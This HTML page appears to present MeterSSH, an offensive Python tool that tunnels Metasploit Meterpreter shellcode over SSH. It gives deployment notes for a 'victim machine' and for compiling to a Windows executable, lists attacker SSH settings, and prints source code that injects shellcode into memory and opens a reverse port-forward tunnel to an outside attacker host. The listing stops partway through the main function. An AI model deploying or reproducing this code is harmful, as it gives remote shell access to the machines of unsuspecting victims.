&lt;p>monitor.py – run this in order to listen for an SSH connection, it will poll for 8021 on localhost for an SSH tunnel then spawn Metasploit for you automatically to grab the shell.&lt;/p>
&lt;p>meterssh.py – this is what you would deploy to the victim machine – note that most windows machines wont have Python installed, its recommended to compile Python with py2exe or pyinstaller.&lt;/p>
&lt;p>Fields you need to edit inside meterssh.py&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">user = &amp;#34;sshuser&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># password for SSH
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">password = &amp;#34;sshpw&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># this is where your SSH server is running
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">rhost = &amp;#34;192.168.1.1&amp;#34;
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"># remote SSH port - this is the attackers SSH server
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">port = &amp;#34;22&amp;#34;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>##meterssh.py:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt"> 10
&lt;/span>&lt;span class="lnt"> 11
&lt;/span>&lt;span class="lnt"> 12
&lt;/span>&lt;span class="lnt"> 13
&lt;/span>&lt;span class="lnt"> 14
&lt;/span>&lt;span class="lnt"> 15
&lt;/span>&lt;span class="lnt"> 16
&lt;/span>&lt;span class="lnt"> 17
&lt;/span>&lt;span class="lnt"> 18
&lt;/span>&lt;span class="lnt"> 19
&lt;/span>&lt;span class="lnt"> 20
&lt;/span>&lt;span class="lnt"> 21
&lt;/span>&lt;span class="lnt"> 22
&lt;/span>&lt;span class="lnt"> 23
&lt;/span>&lt;span class="lnt"> 24
&lt;/span>&lt;span class="lnt"> 25
&lt;/span>&lt;span class="lnt"> 26
&lt;/span>&lt;span class="lnt"> 27
&lt;/span>&lt;span class="lnt"> 28
&lt;/span>&lt;span class="lnt"> 29
&lt;/span>&lt;span class="lnt"> 30
&lt;/span>&lt;span class="lnt"> 31
&lt;/span>&lt;span class="lnt"> 32
&lt;/span>&lt;span class="lnt"> 33
&lt;/span>&lt;span class="lnt"> 34
&lt;/span>&lt;span class="lnt"> 35
&lt;/span>&lt;span class="lnt"> 36
&lt;/span>&lt;span class="lnt"> 37
&lt;/span>&lt;span class="lnt"> 38
&lt;/span>&lt;span class="lnt"> 39
&lt;/span>&lt;span class="lnt"> 40
&lt;/span>&lt;span class="lnt"> 41
&lt;/span>&lt;span class="lnt"> 42
&lt;/span>&lt;span class="lnt"> 43
&lt;/span>&lt;span class="lnt"> 44
&lt;/span>&lt;span class="lnt"> 45
&lt;/span>&lt;span class="lnt"> 46
&lt;/span>&lt;span class="lnt"> 47
&lt;/span>&lt;span class="lnt"> 48
&lt;/span>&lt;span class="lnt"> 49
&lt;/span>&lt;span class="lnt"> 50
&lt;/span>&lt;span class="lnt"> 51
&lt;/span>&lt;span class="lnt"> 52
&lt;/span>&lt;span class="lnt"> 53
&lt;/span>&lt;span class="lnt"> 54
&lt;/span>&lt;span class="lnt"> 55
&lt;/span>&lt;span class="lnt"> 56
&lt;/span>&lt;span class="lnt"> 57
&lt;/span>&lt;span class="lnt"> 58
&lt;/span>&lt;span class="lnt"> 59
&lt;/span>&lt;span class="lnt"> 60
&lt;/span>&lt;span class="lnt"> 61
&lt;/span>&lt;span class="lnt"> 62
&lt;/span>&lt;span class="lnt"> 63
&lt;/span>&lt;span class="lnt"> 64
&lt;/span>&lt;span class="lnt"> 65
&lt;/span>&lt;span class="lnt"> 66
&lt;/span>&lt;span class="lnt"> 67
&lt;/span>&lt;span class="lnt"> 68
&lt;/span>&lt;span class="lnt"> 69
&lt;/span>&lt;span class="lnt"> 70
&lt;/span>&lt;span class="lnt"> 71
&lt;/span>&lt;span class="lnt"> 72
&lt;/span>&lt;span class="lnt"> 73
&lt;/span>&lt;span class="lnt"> 74
&lt;/span>&lt;span class="lnt"> 75
&lt;/span>&lt;span class="lnt"> 76
&lt;/span>&lt;span class="lnt"> 77
&lt;/span>&lt;span class="lnt"> 78
&lt;/span>&lt;span class="lnt"> 79
&lt;/span>&lt;span class="lnt"> 80
&lt;/span>&lt;span class="lnt"> 81
&lt;/span>&lt;span class="lnt"> 82
&lt;/span>&lt;span class="lnt"> 83
&lt;/span>&lt;span class="lnt"> 84
&lt;/span>&lt;span class="lnt"> 85
&lt;/span>&lt;span class="lnt"> 86
&lt;/span>&lt;span class="lnt"> 87
&lt;/span>&lt;span class="lnt"> 88
&lt;/span>&lt;span class="lnt"> 89
&lt;/span>&lt;span class="lnt"> 90
&lt;/span>&lt;span class="lnt"> 91
&lt;/span>&lt;span class="lnt"> 92
&lt;/span>&lt;span class="lnt"> 93
&lt;/span>&lt;span class="lnt"> 94
&lt;/span>&lt;span class="lnt"> 95
&lt;/span>&lt;span class="lnt"> 96
&lt;/span>&lt;span class="lnt"> 97
&lt;/span>&lt;span class="lnt"> 98
&lt;/span>&lt;span class="lnt"> 99
&lt;/span>&lt;span class="lnt">100
&lt;/span>&lt;span class="lnt">101
&lt;/span>&lt;span class="lnt">102
&lt;/span>&lt;span class="lnt">103
&lt;/span>&lt;span class="lnt">104
&lt;/span>&lt;span class="lnt">105
&lt;/span>&lt;span class="lnt">106
&lt;/span>&lt;span class="lnt">107
&lt;/span>&lt;span class="lnt">108
&lt;/span>&lt;span class="lnt">109
&lt;/span>&lt;span class="lnt">110
&lt;/span>&lt;span class="lnt">111
&lt;/span>&lt;span class="lnt">112
&lt;/span>&lt;span class="lnt">113
&lt;/span>&lt;span class="lnt">114
&lt;/span>&lt;span class="lnt">115
&lt;/span>&lt;span class="lnt">116
&lt;/span>&lt;span class="lnt">117
&lt;/span>&lt;span class="lnt">118
&lt;/span>&lt;span class="lnt">119
&lt;/span>&lt;span class="lnt">120
&lt;/span>&lt;span class="lnt">121
&lt;/span>&lt;span class="lnt">122
&lt;/span>&lt;span class="lnt">123
&lt;/span>&lt;span class="lnt">124
&lt;/span>&lt;span class="lnt">125
&lt;/span>&lt;span class="lnt">126
&lt;/span>&lt;span class="lnt">127
&lt;/span>&lt;span class="lnt">128
&lt;/span>&lt;span class="lnt">129
&lt;/span>&lt;span class="lnt">130
&lt;/span>&lt;span class="lnt">131
&lt;/span>&lt;span class="lnt">132
&lt;/span>&lt;span class="lnt">133
&lt;/span>&lt;span class="lnt">134
&lt;/span>&lt;span class="lnt">135
&lt;/span>&lt;span class="lnt">136
&lt;/span>&lt;span class="lnt">137
&lt;/span>&lt;span class="lnt">138
&lt;/span>&lt;span class="lnt">139
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">socket&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="o">*&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">paramiko&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">multiprocessing&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">time&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">subprocess&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">ctypes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">thread&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">threading&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">select&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># http://www.hackplayers.com/2014/11/meterssh-meterpreter-sobre-ssh.html&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># https://github.com/trustedsec/meterssh&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#####################################################################################&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># MeterSSH&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Tunneling Shellcode over SSH&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Version 1.0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Written by: David Kennedy (ReL1K)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Website: https://www.trustedsec.com&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Twitter: @TrustedSec @HackingDave&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Simple add your username, password, remote IP, and remote port&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># for your SSH server and watch the magic.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Note that you can easily make this into a binary with pyinstaller or py2exe&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#####################################################################################&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># define our shellcode injection code through ctypes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">inject&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># special thanks to Debasish Mandal (http://www.debasish.in/2012_04_01_archive.html)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ptr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">windll&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">kernel32&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">VirtualAlloc&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">)),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x3000&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mh">0x40&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">windll&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">kernel32&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">VirtualLock&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ptr&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">buf&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_char&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">))&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">from_buffer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">windll&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">kernel32&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">RtlMoveMemory&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ptr&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">buf&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">shellcode&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ht&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">windll&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">kernel32&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">CreateThread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ptr&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">),&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">pointer&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">)))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">windll&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">kernel32&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">WaitForSingleObject&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ht&lt;/span>&lt;span class="p">),&lt;/span>&lt;span class="n">ctypes&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">c_int&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="o">-&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># base socket handler for reverse SSH&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">handler&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">chan&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">host&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sock&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">socket&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sock&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">connect&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">host&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span> &lt;span class="n">e&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">w&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">select&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">select&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="n">sock&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">chan&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="p">[],&lt;/span> &lt;span class="p">[])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">sock&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sock&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recv&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1024&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">chan&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">chan&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">r&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">data&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">chan&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">recv&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1024&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sock&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">data&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">chan&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">close&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">sock&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">close&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># here is where we start the transport request for port forward on victim then tunnel over via thread and handler&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">reverse_forward_tunnel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">server_port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">remote_host&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">remote_port&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">transport&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">transport&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">request_port_forward&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">server_port&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># while we accept transport via thread handler continue loop&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">while&lt;/span> &lt;span class="kc">True&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">chan&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">transport&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">accept&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">1000&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">chan&lt;/span> &lt;span class="ow">is&lt;/span> &lt;span class="kc">None&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">thr&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">threading&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Thread&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">target&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">handler&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">args&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">chan&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">remote_host&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">remote_port&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">thr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">setDaemon&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="kc">True&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># start thread&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">thr&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">start&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># main class here&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">user&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="n">password&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">rhost&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">port&lt;/span>&lt;span class="p">):&lt;/span>
